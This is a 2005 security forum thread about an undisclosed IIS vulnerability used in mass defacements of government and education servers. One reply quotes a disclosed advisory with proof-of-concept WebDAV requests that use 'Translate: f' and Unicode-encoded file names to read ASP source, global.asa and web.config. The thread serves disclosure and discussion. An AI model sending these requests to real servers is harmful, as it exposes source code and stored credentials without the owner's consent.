 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 78
 Members: 0
 Total: 78
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
core-project undisclosed vuln. |
|
 Posted: Sun Oct 02, 2005 7:05 am |
 |
|
| unknown |
| Beginner |
 |
|
| Joined: Oct 02, 2005 |
| Posts: 3 |
|
|
|
 |
|
 |
|
there's a brazilian crew out there... named as core-project. They are using some undisclosed vuln for IIS5.0 /5.1 and they defaced like 100-200 gov./mil/edu boxes with there exploit..?
I was wonderin if you guys can find out what exactly they're exploitn |
|
|
|
|
| Posted: Sun Oct 02, 2005 2:29 pm |
|
|
| unknown |
| Beginner |
|
|
| Joined: Oct 02, 2005 |
| Posts: 3 |
|
|
|
|
|
|
|
| 8 fuckin views? and not a single reply ? what are you guys doing ? DAMN.. YOU CAN ONLY DISCUSS ON PUBLIC VULNS? |
|
|
|
|
|
|
|
|
| Posted: Sun Oct 02, 2005 4:07 pm |
|
|
| Heintz |
| Valuable expert |
 |
|
| Joined: Jun 12, 2004 |
| Posts: 88 |
| Location: Estonia/Sweden |
|
|
|
|
|
|
you got to be kidding me, firstable look at the actual time your thread has been here:
Posted: 2005-10-02 08:05:00
Posted: 2005-10-02 15:29:36
thats roughly 8 hours.. those who would be able to discuss something are generally very-very busy people not visiting forums every 20 minutes. secondly
i don't think you find people hwo'll read from IIS dissassebly a vuln in 8 hours. with the motivation of someone wanting to discuss about it. takeing this all together makes me think you made this thread for flame purposes. prove me wrong and dont be crazy anymore.
a bit more on the subject, if you would want someone to consider looking for vulnearability then you need at minimum show possible logs from exploitation. its _probably_ a buffer overflow so maybe the payloads are logged too. small chanse but still a chanse. |
|
_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!" |
|
|
|
|
|
|
|
| Posted: Mon Oct 03, 2005 10:22 am |
|
|
| shai-tan |
| Valuable expert |
|
|
| Joined: Feb 22, 2005 |
| Posts: 477 |
|
|
|
|
|
|
|
Dont swear on the forums either. Read the rules. I only come here occasionally because I have a busy life.
| Quote: | Microsoft say FAT/FAT32 is no longer supported with IIS
In a manouver that I suspect comes because of my WebDAV source displosure exploit, Microsoft has posted a KB article where they say FAT/FAT32 is not supported with IIS.
Links
http://support.microsoft.com/?id=907733 |
| Quote: | IIS 5.1 allows for remote viewing of source code on FAT/FAT32 volumes using WebDAV
It is possible to remotely view the source code of web script files though a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be vulnerable. The web script file must be on a FAT or a FAT32 volume, web scripts located on NTFS volumes are not vulnerable.
Confirmed vulnerable
-Microsoft? Internet Information Server? V5.1:
a. Microsoft? Windows? XP Pro. with SP2(English)
b. Microsoft? Windows? XP Pro. with SP2(Norwegian)
c. Microsoft? Windows? XP Pro. with SP1(Swedish)
Confimed not vulnerable
-Microsoft? Internet Information Server? V5.0:
a. Microsoft? Windows? 2000 Server with SP4(English)
-Microsoft? Internet Information Server? V6.0:
a. Microsoft? Windows? 2003 Standard(English)
Vendor status
Notified
Solution
Don't use FAT or FAT32 with IIS 5.1
Techical description
WebDAV allows for retrieving streams using the "Translate: f" HTTP header, the processing of this header has logic built into it so that web script files are not processed, this logic can be avoided by using Unicode characters instead in one of the letters of the file.The file must be on a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden" HTTP response instead.
Proof of Concept #1
I have used the server "www.yourserver.xom" here, replace with your own server name.
1. Format a volume as FAT or FAT32, or use an existing one
2. Create a folder called "www"
3. Add a new ASP file called "test.asp" in "www"
4. Add this code line "<%=Response.write("Hello World")%>" in "test.asp"
5. Create a new virtual folder in IIS 5.1 and map it agains the folder you made in step 2
6. Open a browser and navigate to "http://www.yourserver.xom/www/test.asp" and confirm
that the text "Hello world" is returned and not the script code.
7. Open a MSDOS console
8. Type "telnet www.yourserver.xom 80" and hit ENTER
9. Paste the following text block or type it manually:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.yourserver.xom
Connection: Close
10. Hit ENTER twize to signal end of HTTP request
11. You should see "<%=Response.write("Hello World")%>" beeing returned
Proof of Concept #2
Shows the source of /global.asa:
GET /global.%C4%80sa HTTP/1.1
Translate: f
Host: localhost
Connection: Close
Shows the XML in /web.config:
GET /web.%c4%89onfig HTTP/1.1
Translate: f
Host: localhost
Connection: Close |
this I found on | Code: | | http://ingehenriksen.blogspot.com/ |
Remember anything can be found on the net in a matter of seconds if you know where to look 
Have Fun. 
Thanks Heintz |
|
_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
|
|
Re: core-project undisclosed vuln. |
|
| Posted: Wed Oct 05, 2005 5:00 pm |
|
|
| LINUX |
| Moderator |
|
|
| Joined: May 24, 2004 |
| Posts: 404 |
| Location: Caiman |
|
|
|
|
|
|
| unknown wrote: | there's a brazilian crew out there... named as core-project. They are using some undisclosed vuln for IIS5.0 /5.1 and they defaced like 100-200 gov./mil/edu boxes with there exploit..?
I was wonderin if you guys can find out what exactly they're exploitn |
public men, you need information, i think you know irc.gigachat.net channels #core-project or talk whit me in #shell
nice day |
|
|
|
|
www.waraxe.us Forum Index -> M$ Windows
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
